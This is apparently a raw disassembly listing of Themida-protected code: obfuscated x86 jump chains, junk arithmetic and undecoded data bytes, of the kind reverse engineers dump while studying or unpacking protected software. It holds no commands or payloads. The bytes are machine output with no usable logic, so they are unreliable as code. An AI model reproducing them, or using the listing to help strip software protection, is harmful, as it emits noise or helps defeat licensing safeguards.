; --------------------------------------------------------------------------- word_5848FE dw 77FFh ; DATA XREF: Themida_:00584304o dd 59669D1Ch, 9C2414D3h, 0FFFB66E9h, 0E9E689FFh, 7EE4h ; --------------------------------------------------------------------------- loc_584914: ; CODE XREF: Themida_:0058FA66j push 38ECh mov [esp], ebx mov eax, [esp] push ebx jmp loc_58C79C ; --------------------------------------------------------------------------- db 42h, 0E9h, 0A0h db 12h, 2 dup(0) byte_58492B db 66h ; DATA XREF: Themida_:005841ECo dd 5324048Bh, 0B7F0E9h, 80D4F600h, 3FE961E4h, 3300002Bh dd 248B242Ch, 24348924h, 0BB535E54h, 47217996h, 0E381DBF7h dd 791665BFh, 8FDBE9h, 24048900h, 405E089h, 83000000h dd 0EEE904C0h, 0E9000091h, 0FFFFFAFFh ; --------------------------------------------------------------------------- loc_584974: ; CODE XREF: Themida_:005898CDj jmp loc_584473 ; --------------------------------------------------------------------------- aLH db '‹$$hµ<',0 dd 242C8900h, 46B7E9h, 24E18100h, 0C169082Ch, 0BE5604E1h dd 439B55E3h, 815EF129h, 7E4492C9h, 0E981411Dh, 45D92796h dd 2959C801h, 450A2DC8h, 0E9597826h, 0FFFFFABBh dword_5849B8 dd 24048B66h, 34FF5455h, 242C8B24h, 2935E9h db 0 ; --------------------------------------------------------------------------- loc_5849C9: ; CODE XREF: Themida_:0058ED6Bj neg ebx push 5644h mov [esp], eax mov eax, 39730494h add eax, 0FC32B61h sub ebx, eax mov eax, [esp] add esp, 4 jmp loc_584498 ; --------------------------------------------------------------------------- loc_5849ED: ; CODE XREF: Themida_:00588C56j mov eax, 2C5A65F5h or edi, eax pop eax jmp loc_5883A0 ; --------------------------------------------------------------------------- dw 48Fh aVss1 db '$Vés1',0 dw 5100h dd 1733E955h, 0D7010000h, 3C0FE9h, 0C8AF0F00h, 58E99C51h dd 81FFFFFAh, 2C7h, 243C3300h, 0E9243C31h, 0AEE3h dword_584A2C dd 240C8B66h, 72AE68h, 2A53E900h, 0C6810000h, 49257D16h ; DATA XREF: Themida_:005843B8o dd 0B101E9h, 0DAF65900h, 0EEE9D788h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_584A4F: ; CODE XREF: Themida_:005905B5j add dword ptr [esp], 4 mov ebx, [esp] jmp loc_58477C ; --------------------------------------------------------------------------- dw 0B850h dd 5743A7Bh, 48BC329h, 47B2E924h, 0B8500000h, 0 aSP db ')Èé,',0 dw 8100h dd 4C1h, 2C18300h, 8B240C87h, 0F662424h, 9C2404ABh, 0FFF9DEE9h db 0FFh ; --------------------------------------------------------------------------- loc_584A95: ; CODE XREF: Themida_:0058BEE3j mov ebp, 2 push ebp mov ebp, 7CBA5C60h push edi mov edi, 513A1D67h neg edi shr edi, 3 sub edi, 0E9F15D37h add ebp, edi pop edi push 0DF2h mov [esp], edi mov edi, 0FFFFFFFFh add ebp, edi mov edi, [esp] add esp, 4 neg ebp jmp loc_58D5AF ; --------------------------------------------------------------------------- aSszg db 'S釣',0 ; DATA XREF: Themida_:00584288o align 2 dw 814Dh dd 0BCB10CF5h, 0B424E9A7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_584AE2: ; CODE XREF: Themida_:00584825j sub ebx, 152C21ACh add ebx, ebp jmp loc_585BD7 ; --------------------------------------------------------------------------- loc_584AEF: ; CODE XREF: Themida_:005892C7j push esi mov esi, esp add esi, 4 jmp loc_5856E7 ; --------------------------------------------------------------------------- loc_584AFD: ; CODE XREF: Themida_:0058FD27j add ecx, 619C72FEh pop edi xor ecx, [esp] xor [esp], ecx jmp loc_58B69E ; --------------------------------------------------------------------------- loc_584B0F: ; CODE XREF: Themida_:0058B9F9j push esi mov esi, 649D13C4h mov eax, 0F6366AFh add eax, 1 xor eax, 3DE10F7h jmp loc_58F3EF ; --------------------------------------------------------------------------- loc_584B29: ; CODE XREF: Themida_:0058ADC7j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx sub dword ptr [esp], 64614475h jmp loc_587B27 ; --------------------------------------------------------------------------- loc_584B48: ; CODE XREF: Themida_:0058C184j pop edx pop esi push 4F61h mov [esp], ecx push esp pop ecx add ecx, 4 jmp loc_58C189 ; --------------------------------------------------------------------------- loc_584B5F: ; CODE XREF: Themida_:005872F3j mov [esp], edi push ebp push 5E645AA1h push dword ptr [esp] pop ebp add esp, 4 sub ebp, 5E644AA1h mov edi, ebp jmp loc_58577A ; --------------------------------------------------------------------------- dd 0FF381CBDh, 5DEA2142h, 3B6CA81h, 0DAF76958h, 7B1BF281h dd 0BF577E46h, 7E224E7Eh, 215FFA29h, 0F6815AD6h, 64A52244h dd 8104EEC1h, 0B75693F6h, 0E9F3013Ah, 864h, 4C181h, 0FF510000h dd 59042474h, 8B24048Fh, 9FE92424h, 87000088h, 0E95C241Ch dd 57BDh ; --------------------------------------------------------------------------- loc_584BD4: ; CODE XREF: Themida_:0058E820j pop ebx add esp, 4 pop ecx jmp loc_584473 ; --------------------------------------------------------------------------- dw 0D1F7h dd offset dword_4DE2E8+6601h db 0 ; --------------------------------------------------------------------------- loc_584BE5: ; CODE XREF: Themida_:0058DB24j pop ebp jmp loc_586717 ; --------------------------------------------------------------------------- db 81h dd 2ECh, 1C896600h, 0A0B55124h, 2859EF88h, 1C8B66FAh, 2C48124h dd 30000000h, 24148BD0h, 6683E9h, 58BE5600h, 0E93C5223h dd 4E80h, 4C481h, 48F0000h, 24248B24h, 6CD1E9h, 0ABF5700h dd 0C1294651h, 0E78102E7h, 5F0C1471h, 0F7DFF747h, 34C781D7h dd 896AE93Ch, 0C3815FFBh, 900EBFE8h, 5A9C381h, 0FB013D82h dd 2D4E9h, 0B900h, 0D9010000h, 0C8B1188h, 4C48324h, 68241C8Bh dd 0E6Ch, 89240489h, 0BA22E9E0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_584C7E: ; CODE XREF: Themida_:00584509j shl edx, 1 jmp loc_58B3FD ; --------------------------------------------------------------------------- aWhMpLSby db 'WhÉMP(‹<$é¡Y',0 dw 8B00h dd 4002424h, 0D4E99C24h, 5AFFFFF7h, 0C3FCEA81h, 0EA8179E7h dd 7ADF0654h, 0AD58E9h db 0 ; --------------------------------------------------------------------------- loc_584CB1: ; CODE XREF: Themida_:00587547j mov esi, [esp] add esp, 4 sub ecx, 4B896379h add ecx, 0B4F1149h not ecx not ecx push 66A3h mov [esp], edi jmp loc_5884E9 ; --------------------------------------------------------------------------- db 81h dd 465087CFh, 863E91Eh, 0F8000000h, 0E92434FFh, 0FFFFF858h ; --------------------------------------------------------------------------- loc_584CEC: ; CODE XREF: Themida_:0058F7FCj sub esi, 4 xchg esi, [esp] pop esp jmp loc_58CF07 ; --------------------------------------------------------------------------- dd 576906B9h, 0EFE9497Eh db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_584D03: ; CODE XREF: Themida_:0058ABFDj push esp pop ebx add ebx, 4 sub ebx, 4 jmp loc_5845EA ; --------------------------------------------------------------------------- loc_584D16: ; CODE XREF: Themida_:00586BC5j mul cl movzx cx, ah jmp loc_58C24A ; --------------------------------------------------------------------------- db 68h, 2 dup(0) dd 34290000h, 8DE95E24h, 3Eh, 4EF8E9FEh, 0C3310000h, 630E9h dd 4C48100h, 51000000h, 42474FFh, 0FFFB4CE9h, 243C87FFh dd 6824248Bh, 41D7h, 89243489h, 4EE951E6h, 5C00004Ch, 54241C89h dd 4EC815Bh, 89000000h, 0FCE92434h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_584D77: ; CODE XREF: Themida_:0058BFF2j push dword ptr [edi+eax*4] sub esp, 4 mov [esp], eax jmp loc_586467 ; --------------------------------------------------------------------------- dd 158C131h, 240C8BCDh, 4C481h, 35E90000h, 1000001h, 34875BDEh dd 0A9685C24h, 89000057h, 74E9242Ch db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_584DAF: ; CODE XREF: Themida_:0058890Dj mov ecx, [esp] add esp, 4 jmp loc_587D1F ; --------------------------------------------------------------------------- aTs_ db 'TéÈ_',0 dw 8100h dd 0CB6366C3h, 6CC4E91Ah, 0F3800000h, 5BD8289Dh, 0CD04D800h dd 2E77E951h db 2 dup(0) aMs5 db '¬é5]',0 ; DATA XREF: Themida_:00584370o align 4 dd 0E01A45BBh, 8BDE0165h, 0C481241Ch, 4, 1942E9h, 24048B00h dd 5E08950h, 4, 405h, 24048700h, 4EC835Ch, 89242C89h, 20E956E5h dd 810000A7h, 0B13017C1h, 0EB8E965h, 1C890000h, 57E38924h dd 2F60BDBFh, 0F6BD5569h, 8702003Ah, 14F751CDh, 20EFE924h dd 0D0F60000h, 63D3E9h db 0 ; --------------------------------------------------------------------------- loc_584E49: ; CODE XREF: Themida_:005892E1j mov eax, 4D4C793Dh sub eax, 0FFFFFFFFh xor eax, 76E04474h push edx mov edx, 486E4E32h add eax, edx jmp loc_58DD7B ; --------------------------------------------------------------------------- loc_584E65: ; CODE XREF: Themida_:00588BD0j push esi push eax jmp loc_5856B3 ; --------------------------------------------------------------------------- dword_584E6C dd 0D2685156h, 594B895Eh, 6C77F181h, 91681242h, 89000008h ; DATA XREF: Themida_:00584384o dd 0EC81243Ch, 4, 0BB241C89h, 401C5CC6h, 0E381EBD1h, 73C53342h dd 0C102E3C1h, 0EB8307E3h, 30EB8101h, 89B1AF70h, 0F9295BDFh dd 51243C8Bh, 533BE9h, 0E0EB8100h, 0E94F933Ah, 2DA7h ; --------------------------------------------------------------------------- loc_584EC0: ; CODE XREF: Themida_:0058C5AAj push esi jmp loc_586376 ; --------------------------------------------------------------------------- dw 0D3BDh dd 0E91E670Ch, 4EC1h, 4ED81h, 2C330000h, 242C3124h, 5C242C33h dd 0B6241489h, 0E9F000A8h, 9FA0h, 0B6AC581h, 0DDF756BFh dd 8743C581h, 0EEE9C561h db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_584EFF: ; CODE XREF: Themida_:00589BA8j xor edi, 4EC414D5h push eax push edx mov edx, 0CE62705Eh jmp loc_58A9B7 ; --------------------------------------------------------------------------- db 33h, 3Ch, 24h dd 33243C31h, 248B243Ch, 60EB8124h, 686F3F73h, 16CCh, 53243489h dd 0AD83E9h, 4EC8300h, 0E9243489h, 0FFFFF9D1h, 0E9240C87h dd 6668h, 5259CB01h, 2BB53h, 5CE90000h, 5C000076h, 6108E9h dd 0E2C14200h, 177BE902h, 248B0000h, 242CD224h, 0F505E99Ch dd 7568FFFFh, 89000022h, 0EC81241Ch, 4, 0B9240C89h, 2A137C62h dd 5159CB89h, 77224F68h, 0E9815965h, 36F1014Fh, 8746F187h dd 68D1F7F1h, 0A1Ch, 0E9241489h, 1E7Ah ; --------------------------------------------------------------------------- loc_584FA8: ; CODE XREF: Themida_:005845ABj xchg ecx, [esp] jmp loc_58E274 ; --------------------------------------------------------------------------- dd 2E2F6805h, 5552594Dh, 426BE9h db 0 byte_584FBD db 0ADh, 31h, 0D8h ; DATA XREF: Themida_:005842A0o dd 4EC81h, 0C890000h, 5AFCB924h, 0D1F76173h, 7E1C149h dd 74BD6855h, 0C890000h, 0F3BA5224h, 0B91D721Ah, 7D4158D7h dd 0E95AD131h, 0B119h ; --------------------------------------------------------------------------- loc_584FF0: ; CODE XREF: Themida_:0058D3E8j pop eax push ecx jmp loc_5885EC ; --------------------------------------------------------------------------- db 83h dd 0C8904ECh, 0F6F7B524h, 8EDC0D5h, 0E919CD80h, 3C27h dword_58500C dd 0EC8352ACh, 241C8904h, 4098E9h, 0D6015800h, 6EE9515Ah ; DATA XREF: Themida_:005841CCo dd 68000090h, 36BCh, 83242489h, 8B042404h, 0C4832434h dd 4EC8104h, 89000000h, 4B82404h, 1000000h, 75AEE9C6h dd 3C330000h, 24248B24h, 240C8B66h, 2ACA68h, 240C8900h dd 0C4CE9h db 0 ; --------------------------------------------------------------------------- loc_585061: ; CODE XREF: Themida_:0058540Dj sub ebx, 4E9B0DE8h jmp loc_586137 ; --------------------------------------------------------------------------- dd 8B240487h, 0EC812424h, 4, 53240C89h, 3F9668h, 243C8900h dd 393B36BFh, 0FFEF837Fh, 61A9E9h, 24048900h, 9486E9h dd 94E95500h, 59000027h, 0D800F22Ch, 61E95153h, 89000052h dd 9AB9240Ch, 57443878h, 4BB8BA52h, 5F522BDCh, 5FFB015Ah dd 0BE56CB01h, 21E56DFAh, 4FF68146h, 81417B73h, 42550CF6h dd 3C3814Bh, 29578F43h, 3EB81F3h, 5E578F43h, 75A0E9h, 0F385E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5850EE: ; CODE XREF: Themida_:0058E07Aj push ecx mov ecx, 3F704DDFh push ebp mov ebp, 3AD15493h neg ebp shr ebp, 7 and ebp, 6A935E37h or ebp, 60264AB2h jmp loc_58FD77 ; --------------------------------------------------------------------------- dd 815FFE31h, 752414EEh, 5EF331BBh, 4D95C681h, 0DE014BF6h dd 4D95EE81h, 335B4BF6h, 4DE92434h, 5C000026h, 762DD001h dd 5A00477Bh, 6E10BF57h, 87573934h, 0D0F72404h, 0E9240487h dd 51EBh, 15F86859h, 3C890000h, 81E78924h, 4C7h, 54E95600h dd 53000042h, 8C4BABBBh, 97E94B0Eh db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_585173: ; CODE XREF: Themida_:0058B1A6j push 0E9025F6h pop ebx and ebx, 2BB30AB4h push ebp mov ebp, 0A8449E8h jmp loc_590550 ; --------------------------------------------------------------------------- dw 2BBAh dd 815DC26Bh, 3D94D7C2h, 5AD589A2h, 2C8BEE01h, 4C48124h dd 87000000h, 248B2434h, 0E9515324h, 4312h, 5866C230h dd 148BD328h, 4C48324h, 0FFC0B60Fh, 55508734h, 30DD6856h dd 12E94F35h, 1000070h, 0FF515FF9h, 8B042474h, 0C483240Ch dd 24048F04h, 2C63E9h db 0 ; --------------------------------------------------------------------------- loc_5851E5: ; CODE XREF: Themida_:0058C21Bj push eax mov ah, 0C7h jmp loc_58DC16 ; --------------------------------------------------------------------------- db 56h, 0BEh, 9Fh dd 0BD55C639h, 6C2E0CF5h, 9B45E9h, 0A1E94300h, 81000023h dd 0FB79FDC9h, 7484E964h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58520E: ; CODE XREF: Themida_:0058FB33j pop dword ptr [esp] mov esp, [esp] jmp loc_58C5EF ; --------------------------------------------------------------------------- aVqsgd db '[VQé£d',0 db 0 ; --------------------------------------------------------------------------- loc_585221: ; CODE XREF: Themida_:0058B11Bj mov [esp], eax xor [esp], ebx xor ebx, [esp] jmp loc_58D617 ; --------------------------------------------------------------------------- db 80h dd 0C38072C3h, 3FF380FFh, 0A32C7104h, 6D89E9h, 24348700h dd 9DC18159h, 13E442Eh, 0C68159CEh, 4, 5C243487h, 8B2434FFh dd 0C481240Ch, 4, 5FEEE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58526A: ; CODE XREF: Themida_:0058856Aj mov ebp, 5AFC2D20h sub ebp, 442128E0h jmp loc_589F72 ; --------------------------------------------------------------------------- dw 0E289h dd 4C281h, 0EC810000h, 4, 0E9240489h, 68E3h, 72550566h dd 66D80166h, 0E972552Dh, 6271h ; --------------------------------------------------------------------------- loc_5852A0: ; CODE XREF: Themida_:0058A013j dec eax and eax, 2FAE139Dh inc eax or eax, 10B277F6h sub eax, 10B677F5h jmp loc_586B9E ; --------------------------------------------------------------------------- dw 0DBF7h dd 936E9h db 0 ; --------------------------------------------------------------------------- loc_5852BD: ; CODE XREF: Themida_:00585B22j add ebp, 0B53AF79Ch sub ecx, 7F2F5179h add ecx, ebp add ecx, 7F2F5179h mov ebp, [esp] add esp, 4 push ecx jmp loc_587CC8 ; --------------------------------------------------------------------------- dd 0E9D30166h, 955Ah, 0FFF186E9h, 4BB53FFh, 29000000h dd 3C875BDFh, 14895C24h, 4EC8324h, 51240489h, 4EC81h, 2C890000h dd 0FEDBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_585312: ; CODE XREF: Themida_:0058DEE8j mov [esp], ecx jmp loc_58623D ; --------------------------------------------------------------------------- loc_58531A: ; CODE XREF: Themida_:0058BB57j mov edi, esp add edi, 4 jmp loc_58822D ; --------------------------------------------------------------------------- db 81h dd 0D84181C6h, 0E9C60172h, 4387h, 6B03C681h, 0EB818A44h dd 57AA5C8Fh, 0C381F301h, 57AA5C8Fh, 6FB7E9h, 24442900h dd 79685804h, 0E900002Ah, 2B30h ; --------------------------------------------------------------------------- loc_58535C: ; CODE XREF: Themida_:0058DAF7j shr edi, 3 xor edi, 13A65EBCh xor ecx, edi pop edi jmp loc_58D87D ; --------------------------------------------------------------------------- db 55h, 0E9h, 0F1h dd 0BE000082h, 4, 0ACE9F301h, 59000033h, 0F6DAEE80h, 6FCE80D6h dd 0E955C680h, 1874h, 4535E281h, 0E2C1301Dh, 70BF5702h dd 2958A6D0h, 0D3295FFAh, 94E3815Ah, 81090E51h, 5725E5F3h dd 85C38125h, 0E9F332EFh, 29E1h, 5302E2C1h, 27F3E955h dd 0E3C10000h, 78B95102h, 0E9171068h, 74F7h, 815DEF01h dd 82223AEFh, 0FD2EE98Dh, 0C483FFFFh, 25146804h, 2C890000h dd 30CFE924h, 1FBB0000h, 1FA4110h, 0A73AE9F3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5853FE: ; CODE XREF: Themida_:00585E79j sub ebx, 7E9C1711h pop ecx add ebx, 4E9B0DE8h add ebx, ecx jmp loc_585061 ; --------------------------------------------------------------------------- aSoc db '\éO–',0 align 4 dd 52C3295Eh, 0F906B3BAh, 5AD32938h, 26F68h, 24348900h dd 100B951h, 0C18113FBh, 1F3140CFh, 43C18141h, 0E9419C55h dd 5E36h, 2DFABF57h, 80E96BC6h db 47h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58544F: ; CODE XREF: Themida_:00585A2Aj push dword ptr [esp] mov edx, [esp] add esp, 4 push 50F2h mov [esp], edi mov edi, esp push ebx mov ebx, 4 jmp loc_58B92E ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 52512414h, 0D188F4B2h, 8853505Ah, 5BFC88CFh dd 88E18851h, 63A3E9CAh, 0C7810000h, 1FFC0C3Eh, 0EF81DF01h dd 1FFC0C3Eh, 2386BD55h, 0EF2949AEh, 83242C8Bh, 1C8B04C4h dd 4C48324h, 0EF81F701h, 2C975282h, 2C7815Eh, 87000000h dd 16E9243Ch, 5A000091h, 0F8E9C328h, 81000003h, 663767E9h dd 0AEBB5302h, 2963CD4Eh, 0BD555BD9h, 2C87098Eh, 8B5CE9h dd 5EF72100h, 2791C781h, 0FA211B96h, 0FFF3C4E9h, 4EC81FFh dd 89000000h, 4DB3241Ch, 9B99E9h db 0 ; --------------------------------------------------------------------------- loc_585509: ; CODE XREF: Themida_:00589AE8j mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebx push 5103h mov [esp], ebp sub esp, 4 mov [esp], edi push edx mov edx, eax push ebp mov ebp, edx mov edi, ebp pop ebp mov edx, [esp] add esp, 4 mov ebp, edi mov edi, [esp] jmp loc_58D31A ; --------------------------------------------------------------------------- db 81h, 0E7h, 0A2h dd 0C1675E17h, 0C78104E7h, 64F70ED7h, 56F3F781h, 8952D958h dd 5AD089FAh, 2ABB535Fh, 0C1785764h, 78E905E3h, 5C000095h dd 0FF242C89h, 8B042474h, 0C483242Ch, 0F0C7E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_585582: ; CODE XREF: Themida_:0058C0D6j mov [esp], eax xchg ebx, [esp] push ebx jmp loc_58C58F ; --------------------------------------------------------------------------- dw 760Dh dd 0D2CB122h, 7D066E47h, 0BF7F7B35h, 7F14E97Fh, 0C1810000h dd 74DB40B4h, 0E981D901h, 74DB40B4h, 5B2434FFh, 8304C483h dd 19E902C1h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5855BF: ; CODE XREF: Themida_:0058A60Dj mov ebp, 16BD021Eh add edi, ebp pop ebp xor edi, 62F545E6h add edi, 0BB0BF8ACh add eax, edi jmp loc_588599 ; --------------------------------------------------------------------------- dw 555Bh dd 2BDh, 5DEA0100h, 8B241487h, 0F662424h, 9C2404BBh, 0FFEE7EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5855F5: ; CODE XREF: Themida_:00587A23j mov bh, 17h mov dh, bh pop ebx or ch, dh mov edx, [esp] push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 add ebx, ebp jmp loc_5871A3 ; --------------------------------------------------------------------------- db 0F7h, 14h, 24h aZ111S@ db 'Z1Ð1Â1Ðéº@',0 align 4 aCr2 db 'CRº2',0 db 0FAh, 5Dh, 4Ah dd 0B7CCEA81h, 0D3315264h, 5BD9215Ah, 708DC181h, 0CF8915FDh dd 83240C8Bh, 50E904C4h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58564B: ; CODE XREF: Themida_:00588726j xor [esp], edx pop eax push ebx jmp loc_58DE4D ; --------------------------------------------------------------------------- db 0BBh, 0B9h, 0Fh dd 0D9315D9Ah, 75EA815Bh, 1121369h, 75C281CAh, 59121369h dd 9A72E9h, 24048900h, 0EC83E089h, 8764E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58567E: ; CODE XREF: Themida_:0058F055j add ecx, esi pop esi sub ecx, 4 push 7424h mov [esp], ecx push dword ptr [esp+4] jmp loc_58CD50 ; --------------------------------------------------------------------------- loc_585695: ; CODE XREF: Themida_:0059016Bj push esi push dword ptr [esp+4] jmp loc_58F401 ; --------------------------------------------------------------------------- db 56h dd 0C681E689h, 4, 4BB53h, 0E8E90000h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5856B3: ; CODE XREF: Themida_:00584E67j push 4090524Fh jmp loc_586185 ; --------------------------------------------------------------------------- loc_5856BD: ; CODE XREF: Themida_:00590487j push esi mov esi, esp add esi, 4 jmp loc_58B1C6 ; --------------------------------------------------------------------------- db 5Dh dd 2EE81h, 34330000h, 24343124h, 8B243433h, 89662424h dd 8CE9240Ch db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5856E7: ; CODE XREF: Themida_:00584AF8j add esi, 4 xchg esi, [esp] pop esp shr ecx, 0 or eax, eax jz loc_586A66 push 13CCh jmp loc_58B9B4 ; --------------------------------------------------------------------------- loc_585706: ; CODE XREF: Themida_:0058837Dj push edx mov edx, 619D3B16h add [esp+8], edx pop edx sub [esp+4], edi sub dword ptr [esp+4], 619D3B16h mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_58D639 ; --------------------------------------------------------------------------- db 83h, 0C3h, 4 dd 5C241C87h, 31241C33h, 1C33241Ch, 24248B24h, 0E99CC83Bh dd 0FFFFED27h ; --------------------------------------------------------------------------- loc_58574C: ; CODE XREF: Themida_:005872DCj push eax jmp loc_58C4B3 ; --------------------------------------------------------------------------- dw 1368h dd 8900007Fh, 0E9552434h, 0FFFFF766h, 4BA525Bh, 1000000h dd 34875AD6h, 0A15CE924h db 2 dup(0) word_585772 dw 0C8Bh ; DATA XREF: Themida_:005842CCo aS0 db '$é0<',0 align 2 loc_58577A: ; CODE XREF: Themida_:00584B77j mov ebp, [esp] add esp, 4 mov edx, edi push dword ptr [esp] pop edi add esp, 4 and eax, edx jmp loc_588D4E ; --------------------------------------------------------------------------- dd offset dword_4D677C+78ECh align 4 dd offset dword_49457C+0E16Dh dd 0A7BA5200h, 834D1362h, 0C281FFC2h, 0FDC30B76h, 815AD629h dd 28462EEEh, 680Ah, 34FF0000h, 2434FF24h, 0E089505Bh dd 405h, 964FE900h, 2AB10000h, 0E9DEE980h, 0A771h ; --------------------------------------------------------------------------- loc_5857D8: ; CODE XREF: Themida_:00588F56j pop ebx push ebp jmp loc_584820 ; --------------------------------------------------------------------------- db 0B1h dd 0BFE980ABh, 0C180E128h, 24048BBFh, 6BB2E9h db 0 ; --------------------------------------------------------------------------- loc_5857F1: ; CODE XREF: Themida_:0058AF50j mov eax, ecx jmp loc_5873FF ; --------------------------------------------------------------------------- loc_5857F8: ; CODE XREF: Themida_:00586038j push 430Eh mov [esp], ebp mov ebp, 497C61D1h shr ebp, 8 add ebp, 0FFB6839Eh mov esi, ebp pop ebp sub [edi+24h], esi push dword ptr [esp] jmp loc_58C8DE ; --------------------------------------------------------------------------- loc_58581C: ; CODE XREF: Themida_:00585A70j sub edx, 58511DB2h pop ebp jmp loc_587E02 ; --------------------------------------------------------------------------- loc_585828: ; CODE XREF: Themida_:00589F78j or ebp, 401736DEh jmp loc_58A255 ; --------------------------------------------------------------------------- loc_585833: ; CODE XREF: Themida_:0058FFF2j push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp xchg ebx, [esp] pop esp push ebp push eax sub esp, 4 mov [esp], edi push 6074036Ah jmp loc_585C82 ; --------------------------------------------------------------------------- dw 2489h dd 4BB5324h, 1000000h, 5B04245Ch, 0FFF18DE9h, 5F829FFh dd 1D2743B7h, 5480BF57h, 0F82952DEh, 248055Fh, 525F47BDh dd 26232568h, 0AE56E94Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58588E: ; CODE XREF: Themida_:0058F305j xchg ch, ah dec ch xchg ch, ah jmp loc_58CC56 ; --------------------------------------------------------------------------- db 81h, 0C6h, 9Bh dd 817DD641h, 0DF29A2CEh, 0B9515712h, 63BA4F19h, 0D1F7D9F7h dd 91C8E941h, 0D8010000h, 4EC815Bh, 89000000h, 6CE92404h dd 6600009Dh, 4DA3E951h, 0E9580000h, 5B6Bh ; --------------------------------------------------------------------------- loc_5858D4: ; CODE XREF: Themida_:0058A797j sub edi, 3EE3167Fh or edi, 5C67560h xor edi, 0DDFFF4Ah mov eax, edi pop edi jmp loc_5875D9 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 6D3CE9h, 24048900h, 730AE9h, 51685000h, 5872DA40h dd 0D100A92Dh, 6214E939h db 2 dup(0) word_585912 dw 77FFh ; DATA XREF: Themida_:00584318o dd 19589D1Ch, 0E99C2404h, 0FFFFEB53h ; --------------------------------------------------------------------------- loc_585920: ; CODE XREF: Themida_:0058465Dj add edx, 1B332B08h push dword ptr [esp] pop ecx add esp, 4 xchg edx, [esp] pop esp or eax, eax jz loc_587BF9 push dword ptr [edi+1Ch] push ebp mov ebp, 59274AD2h push ebp push ecx jmp loc_586B35 ; --------------------------------------------------------------------------- loc_585949: ; CODE XREF: Themida_:0058891Dj mov ebx, esp jmp loc_5877DF ; --------------------------------------------------------------------------- dd 4BE565Eh, 81000000h, 787FECC2h, 81F2013Ch, 787FECEAh dd 14335E3Ch, 24143124h, 73BFE9h, 0C0DFF600h, 0EFC004EFh dd 67C78008h, 5202EFC0h, 9CF3E9h, 88505A00h, 0C17E9E8h dd 0C3890000h, 7219BE58h, 0DE297658h, 5EF3015Bh, 3304C383h dd 1C31241Ch, 241C3324h, 0E924248Bh, 8F9Bh, 0FFEABEE9h dd 5DEF01FFh, 233168h, 241C8900h, 2BBh, 5BDF0100h, 31243C33h dd 0F5E9243Ch, 5C00005Fh, 24048B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_588BAE ; --------------------------------------------------------------------------- loc_5859E0: ; CODE XREF: Themida_:00590089j push 7BB4h mov [esp], edi mov edi, 5B8220D7h not edi push edx mov edx, 7D782589h push esi mov esi, 0D905FAA5h xor edx, esi pop esi xor edi, edx mov edx, [esp] jmp loc_58DC38 ; --------------------------------------------------------------------------- dd 2414895Ch, 42474FFh, 8356E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_585A16: ; CODE XREF: Themida_:0058AD86j push edx jmp loc_5872EE ; --------------------------------------------------------------------------- dd 4C5815Dh, 0E9000000h, 6675h ; --------------------------------------------------------------------------- loc_585A28: ; CODE XREF: Themida_:00588AA9j and eax, edx jmp loc_58544F ; --------------------------------------------------------------------------- byte_585A2F db 66h ; DATA XREF: Themida_:0058430Co dd 68240C8Bh, 4B21h, 81241C89h, 4ECh, 276800h, 0F7E90000h db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_585A4B: ; CODE XREF: Themida_:00589874j and [esp], al pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_585A54: ; CODE XREF: Themida_:00587C1Bj mov edx, 48720EA0h and edx, 402D7434h push ebp mov ebp, 0EA80E75Ah push ecx mov ecx, 58511DB2h add edx, ecx pop ecx sub edx, ebp jmp loc_58581C ; --------------------------------------------------------------------------- loc_585A75: ; CODE XREF: Themida_:00589619j add esi, edx pop edx xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp or ebx, ebx jnz loc_58B9DB push 48h mov [esp], edx push edi mov edi, 4F41489Dh sub edi, 0FED1269Eh add [esp+4], edi push dword ptr [esp] push dword ptr [esp] pop edi push edx mov edx, esp add edx, 4 jmp loc_58C818 ; --------------------------------------------------------------------------- db 89h dd 8B54241Ch, 0C483241Ch, 3E5C6804h, 3C890000h, 71C8BF24h dd 0D7F7547Ch, 8E33F781h, 0F6E9AB83h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_585ADB: ; CODE XREF: Themida_:0058B6B8j mov ebp, esi jmp loc_58889E ; --------------------------------------------------------------------------- dw 0C483h dd 0F24CE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_585AEA: ; CODE XREF: Themida_:0058FDB0j push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_584507 ; --------------------------------------------------------------------------- loc_585AF8: ; CODE XREF: Themida_:0058485Fj neg cl sub cl, 4Ah shr cl, 5 push eax mov ah, 71h xor ah, 58h xchg dl, ah push edx jmp loc_58F2F9 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5D0424h, 895C2404h, 0FBE9240Ch db 86h, 2 dup(0) ; --------------------------------------------------------------------------- 